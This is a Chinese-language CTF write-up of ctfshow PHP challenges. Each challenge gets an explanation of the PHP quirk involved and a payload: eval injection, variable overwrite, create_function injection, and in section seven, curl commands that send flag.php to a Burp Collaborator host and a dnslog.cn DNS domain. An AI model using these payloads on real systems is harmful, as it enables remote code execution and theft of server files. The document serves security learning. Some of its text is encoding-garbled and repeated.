CTF中PHP相关题目考点总结(二)
介紹
本篇文章主要總結(jié)了我在寫ctfshow題目中遇到的關(guān)于PHP的考點(diǎn)。因?yàn)橹豢偨Y(jié)知識(shí)點(diǎn)和考點(diǎn)會(huì)比較空洞,也不容易理解,所以我都是通過題目來總結(jié)考點(diǎn),這樣的話比較容易理解。
PHP特性相關(guān)考點(diǎn)
一、
考點(diǎn):php正則表達(dá)式的匹配模式差異。
例題:
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ #/i表示不區(qū)分大小寫,/m表示多行匹配if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;} } else{echo 'nonononono'; }例題分析:
字符 ^ 和 $ 同時(shí)使用時(shí),表示精確匹配,需要匹配到以php開頭和以php結(jié)尾的字符串才會(huì)返回true,否則返回false
/m 多行匹配模式下,若存在換行\(zhòng)n并且有開始^或結(jié)束符的情況下,將以換行為分隔符,逐行進(jìn)行匹配。因此當(dāng)我們傳入以下payload時(shí),第一個(gè)if正則匹配會(huì)返回true。但是當(dāng)不是多行匹配模式的時(shí)候也就是在第二個(gè)if正則匹配中出現(xiàn)換行符‘符的情況下,將以換行為分隔符,逐行進(jìn)行匹配。因此當(dāng)我們傳入以下payload時(shí),第一個(gè)if正則匹配會(huì)返回true。但是當(dāng)不是多行匹配模式的時(shí)候也就是在第二個(gè)if正則匹配中出現(xiàn)換行符`%0a`的時(shí),符的情況下,將以換行為分隔符,逐行進(jìn)行匹配。因此當(dāng)我們傳入以下payload時(shí),第一個(gè)if正則匹配會(huì)返回true。但是當(dāng)不是多行匹配模式的時(shí)候也就是在第二個(gè)if正則匹配中出現(xiàn)換行符‘cmd的值會(huì)被當(dāng)做兩行處理,因此當(dāng)我們傳入以下payload時(shí),第二個(gè)if正則表達(dá)式匹配到的是aaaphp,不符合以php開頭和以php結(jié)尾會(huì)返回false,從而echo出flag。
payload如下:
?cmd=aaa%0aphp #%0a為換行符【相關(guān)技術(shù)文檔】
二、
考點(diǎn):php變量覆蓋。
例題:
<?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你還想要flag嘛?'; $suces='既然你想要那給你吧!'; foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value; }foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value; } if(!($_POST['flag']==$flag)){die($error); } echo "your are good".$flag."\n"; die($suces); ?>例題分析:
這里利用的是變量覆蓋,關(guān)鍵點(diǎn)在
key=key=
value,這里把$key的值當(dāng)作了變量。
例如 $key=flag 則$$key=$flag這里一共有三個(gè)變量,error、error、error、suces和flag;這里通過die(flag;這里通過die(flag;這里通過die(error)或者die($suces)都可以輸出flag,所以有兩個(gè)payload。
第一種:
通過die(error)輸出flag,首先我們把error)輸出flag,首先我們把error)輸出flag,首先我們把flag的值傳給test,接著再把test,接著再把test,接著再把test的值傳給error,于是error,于是error,于是error的值就是flag,再通過if判斷die輸出就是flag。
例如flag=ctfshowxxxxx,?test=flag,通過第一個(gè)for循環(huán),也就是flag=ctfshow{xxxxx},?test=flag,通過第一個(gè)for循環(huán),也就是flag=ctfshowxxxxx,?test=flag,通過第一個(gè)for循環(huán),也就是test=flag,從而把變量flag的值賦給test變量,因此flag,從而把變量flag的值賦給test變量,因此flag,從而把變量flag的值賦給test變量,因此test=ctfshow{xxxxx},接著再通過第二個(gè)for循環(huán),error=error=error=test,此時(shí)$error=ctfshow{xxxxx} paylload如下:
第二種:
通過die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達(dá)到下面if條件為0不執(zhí)行死亡函數(shù)的目的,從而往下執(zhí)行,die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達(dá)到下面if條件為0不執(zhí)行死亡函數(shù)的目的,從而往下執(zhí)行,die(suces)輸出flag,首先我們把flag的值傳給suces變量,接著再把flag的值給置空,以達(dá)到下面if條件為0不執(zhí)行死亡函數(shù)的目的,從而往下執(zhí)行,die(suces)即可把flag輸出,payload如下:
三、
考點(diǎn):PHP異常處理的利用,Exception處理用于在指定的錯(cuò)誤發(fā)生時(shí)改變腳本的正常流程,是php內(nèi)置的異常處理類。
例題:
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");} }例題分析:
這里傳入兩個(gè)參數(shù),并且都需要有字母,我們用php內(nèi)置類讓v1不進(jìn)行報(bào)錯(cuò),v2執(zhí)行我們的命令就好了。
Exception處理用于在指定的錯(cuò)誤發(fā)生時(shí)改變腳本的正常流程,是php內(nèi)置的異常處理類。
所以payload如下:
?v1=Exception&v2=system('tac fl36dg.txt')四、
考點(diǎn)一:PHP變量名由數(shù)字字母下劃線組成,是沒有.的 我從大佬的文章了解到,GET或POST方式傳進(jìn)去的變量名,會(huì)自動(dòng)將空格 + . [轉(zhuǎn)換為_。
例題:
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}} }例題分析:
這道題其中的一個(gè)難點(diǎn)是下面這行代碼:
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))PHP變量名由數(shù)字字母下劃線組成,是沒有.的 我從大佬的文章了解到,GET或POST方式傳進(jìn)去的變量名,會(huì)自動(dòng)將空格 + . [轉(zhuǎn)換為_。
有一種特殊情況,GET或POST方式傳參時(shí),變量名中的 [ 也會(huì)被替換為_,但其后的字符就再進(jìn)行替換了
如 CTF[SHOW.COM => CTF_SHOW.COM 所以payload如下:
很明顯這個(gè)解是非預(yù)期的,其實(shí)是可以通過正常步驟得到flag的。
出題人的預(yù)期解
get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])因?yàn)樯厦娴拇a中的這個(gè)代碼語句 a=a=a=_SERVER[‘a(chǎn)rgv’]; 會(huì)將url傳入的變量存入數(shù)組a中,然后我們配合parse_str函數(shù)從數(shù)組a中取出fl0g=flag_give_me,配合eval函數(shù),從而給fl0g變量賦值,這樣就可以繞過if語句,從而echo出flag。
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含著需要傳給web application的數(shù)據(jù)
這里進(jìn)行了本地測(cè)試,注意需要在php.ini開啟register_argc_argv配置項(xiàng),測(cè)試代碼為:
<?php $a=$_SERVER['argv']; var_dump($a);所以如果我們get傳入變量賦值語句,接著在post里面來執(zhí)行這個(gè)賦值語句就可以完美繞過。
五、
考點(diǎn)一:利用php內(nèi)置類FilesystemIterator 獲取指定目錄下的所有文件名。
考點(diǎn)二:getcwd()函數(shù)的作用時(shí)返回當(dāng)前工作目錄。
例題:
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){die("error v1");}if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());"); } ?>例題分析:
這里正則進(jìn)行了匹配,我們可以使用FilesystemIterator文件系統(tǒng)迭代器來進(jìn)行利用,通過新建FilesystemIterator,使用getcwd()來顯示當(dāng)前目錄下的所有文件的文件名,payload為:
?v1=FilesystemIterator&v2=getcwd知道flag所在文件的文件名和目錄后直接訪問即可獲得flag。
六、
考點(diǎn)一:PHP中邏輯運(yùn)算符&&運(yùn)算符比||運(yùn)算符優(yōu)先級(jí)高。
考點(diǎn)二:PHP中邏輯運(yùn)算符&&和||執(zhí)行的流程。
例題:
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}} }例題分析:
分析代碼:由于&&運(yùn)算符比||運(yùn)算符優(yōu)先級(jí)高,并且我們不知道隨機(jī)數(shù)產(chǎn)生啥,所以$code === mt_rand(1,0x36D)的結(jié)果是false,同時(shí)我們看到code的值需要為admin,所以我們?cè)O(shè)置code=admin,又由于與運(yùn)算(&&)一假則假,所以不再判斷 $password === $flag 的部分,然后就變成了:
if(false|| $username ==="admin")又由于或運(yùn)算(||)一真則真,所以我們只要把username設(shè)置成admin即可,所以payload如下:
?username=admin&code=admin&password=1補(bǔ)充:
一、PHP中邏輯運(yùn)算符&&和||的分析:
首先,我給出一段代碼:
<?php$test="李四";$test=="張三"&&$test="張三來了";echo $test; //輸出“李四”$test="李四";$test=="張三"||$test="張三不在這里";echo $test; //輸出“張三不在這里” ?>為什么會(huì)產(chǎn)生這樣的結(jié)果呢?如果按照平常的方法,我們最少要用個(gè)IF語句來判斷。可現(xiàn)在只是兩個(gè)邏輯運(yùn)算就會(huì)把變量的值給改變了。下面我們來分析一下它的運(yùn)行原理。
在參與邏輯運(yùn)算的兩邊表達(dá)式中,是按照從左到右順序進(jìn)行運(yùn)算的。而“與”運(yùn)算中只要有一個(gè)是假,整個(gè)表達(dá)式的結(jié)果為假。所以,當(dāng)左邊表達(dá)式為假時(shí),就無 需再進(jìn)行運(yùn)算了。這樣的處理無疑對(duì)程序的運(yùn)行效率是大有好處的。所以說正如題目所說,是一種高效的用法。而邏輯或就不同了:只要一個(gè)為真那整個(gè)表達(dá)式就為 真。所以,在左邊為假的情況下,還要運(yùn)行右邊的表達(dá)式判斷。明白或理解了上面所說,也就對(duì)結(jié)果不感到奇怪了。
最后,我們做以下總結(jié):
對(duì)于“與”( && ) 運(yùn)算: x && y當(dāng)x為false時(shí),直接跳過,不執(zhí)行y;
對(duì)于“或”( || ) 運(yùn)算 : x||y當(dāng)x為true時(shí),直接跳過,不執(zhí)行y。
二、PHP運(yùn)算符優(yōu)先級(jí)一覽表:
| 1 | 無結(jié)合 | clone、new | clone 和 new |
| 2 | 從右向左 | ** | 算術(shù)運(yùn)算符 |
| 3 | 從右向左 | ++、–、~、(int)、(float)、(string)、(array)、(object)、(bool)、@ | 類型、遞增/遞減、錯(cuò)誤控制 |
| 4 | 無結(jié)合 | instanceof | 類型 |
| 5 | 從右向左 | ! | 邏輯運(yùn)算符 |
| 6 | 從左向右 | *、/、% | 算術(shù)運(yùn)算符 |
| 7 | 從左向右 | +、-、. | 算術(shù)運(yùn)算符和字符串運(yùn)算符 |
| 8 | 從左向右 | <<、>> | 位運(yùn)算符 |
| 9 | 無結(jié)合 | <、<=、>、>= | 比較運(yùn)算符 |
| 10 | 無結(jié)合 | 、!=、=、!==、<>、<=> | 比較運(yùn)算符 |
| 11 | 從左向右 | & | 位運(yùn)算符和引用 |
| 12 | 從左向右 | ^ | 位運(yùn)算符 |
| 13 | 從左向右 | ||
| 14 | 從左向右 | && | 邏輯運(yùn)算符 |
| 15 | 從左向右 | ||
| 16 | 從右向左 | ?? | null 合并運(yùn)算符 |
| 17 | 從左向右 | ? : | 三元運(yùn)算符 |
| 18 | 從右向左 | =、+=、-=、*=、**=、/=、.=、%=、&=、 | =、^=、<<=、>>= |
| 19 | 從左向右 | and | 邏輯運(yùn)算符 |
| 20 | 從左向右 | xor | 邏輯運(yùn)算符 |
| 21 | 從左向右 | or | 邏輯運(yùn)算符 |
對(duì)具有相同優(yōu)先級(jí)的運(yùn)算符來說,從左向右的結(jié)合方向意味著將從左向右求值,從右向左結(jié)合方向則反之。對(duì)于無結(jié)合方向的則具有相同優(yōu)先級(jí)的運(yùn)算符,該運(yùn)算符有可能無法與其自身結(jié)合。
七、
考點(diǎn)一:命令執(zhí)行的騷操作:curl -F命令的使用。
考點(diǎn)二:Burp Collaborator 的使用和帶外攻擊的概念與流程。
例題:
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6個(gè)字母都還不夠呀?!");} }例題分析:
這個(gè)題主要是考察,命令執(zhí)行的騷操作和curl -F的使用,分析一下代碼發(fā)現(xiàn)仿佛是只能讀取前面6個(gè)字符去執(zhí)行命令,禁止了命令執(zhí)行的函數(shù),并且沒有寫入權(quán)限。那如果我們傳遞的參數(shù)就是$F本身,會(huì)不會(huì)發(fā)生變量覆蓋?
那我們來一個(gè)簡(jiǎn)單的測(cè)試。
我們傳遞?F=`$F`;+sleep 3 發(fā)現(xiàn)網(wǎng)站確實(shí)sleep了一會(huì),說明的確執(zhí)行了sleep命令 **那為什么會(huì)這樣?** 因?yàn)槭俏覀儌鬟f的`$F`;+sleep 3。先進(jìn)行substr()函數(shù)截?cái)嗳缓笕?zhí)行eval()函數(shù) 這個(gè)函數(shù)的作用是執(zhí)行php代碼,``是shell_exec()函數(shù)的縮寫,然后就去命令執(zhí)行。 而$F就是我們輸入的`$F`;+sleep 3 所以最后執(zhí)行的代碼應(yīng)該是 ``$F`;+sleep 3`,所以就可以成功執(zhí)行sleep函數(shù) 這里可能有點(diǎn)繞,可以慢慢理解下。然后就是利用curl去帶出flag.php
# payload: #其中-F 為帶文件的形式發(fā)送post請(qǐng)求 #xx是上傳文件的name值,flag.php就是上傳的文件 # payload中的url地址是我們從Collaborator Client上獲取到的,點(diǎn)擊copy to clipboard即可獲得?F=`$F`;+curl -X POST -F xx=@flag.php http://qa42kvxuxk5mxr5twr0d84hgf7lx9m.burpcollaborator.net我們?cè)谀繕?biāo)頁面輸入payload并發(fā)送后,然后點(diǎn)擊Poll now即可看到Burp的 Collaborator服務(wù)器與目標(biāo)服務(wù)器的通信數(shù)據(jù)包,從而我們可以看到flag。
另外我們還可以利用dns帶外來獲取flag:
payload:?F = `$F`; curl `cat flag.php|grep "flag"`.hxmwnm.dnslog.cn補(bǔ)充:
**Burp Collaborator 的使用和帶外攻擊的概念與流程總。結(jié):**https://blog.csdn.net/fageweiketang/article/details/89073662
八、
考點(diǎn)一:使用create_function()代碼注入
考點(diǎn)二:php里的默認(rèn)命名空間相關(guān)知識(shí)
例題:
<?php highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);} }這道題對(duì)ctf變量進(jìn)行了一個(gè)正則表達(dá)式過濾,post傳參的ctf和get傳參的show進(jìn)行了組合,這里我們可以使用create_function()進(jìn)行代碼注入
string create_function ( string args , string args , string code )
string $args 變量部分
string $code 方法代碼部分
而正則表達(dá)式我們可以用進(jìn)行繞過,正好在php里代表默認(rèn)命名空間。
php里默認(rèn)命名空間是\,所有原生函數(shù)和類都在這個(gè)命名空間中。 普通調(diào)用一個(gè)函數(shù),如果直接寫函數(shù)名function_name()調(diào)用,調(diào)用的時(shí)候其實(shí)相當(dāng)于寫了一個(gè)相對(duì)路徑; 而如果是\function_name()這樣的形式去調(diào)用函數(shù),則是表示寫了一個(gè)絕對(duì)路徑。 如果你在其他namespace里調(diào)用系統(tǒng)類,必須使用絕對(duì)路徑的寫法
最終payload為
?show=echo 123;}system("tac flag.php");//post: ctf=\create_function總結(jié)
以上是生活随笔為你收集整理的CTF中PHP相关题目考点总结(二)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF题目中遇到的PHP考点总结(一)
- 下一篇: 自我认为挺全面的【Web Service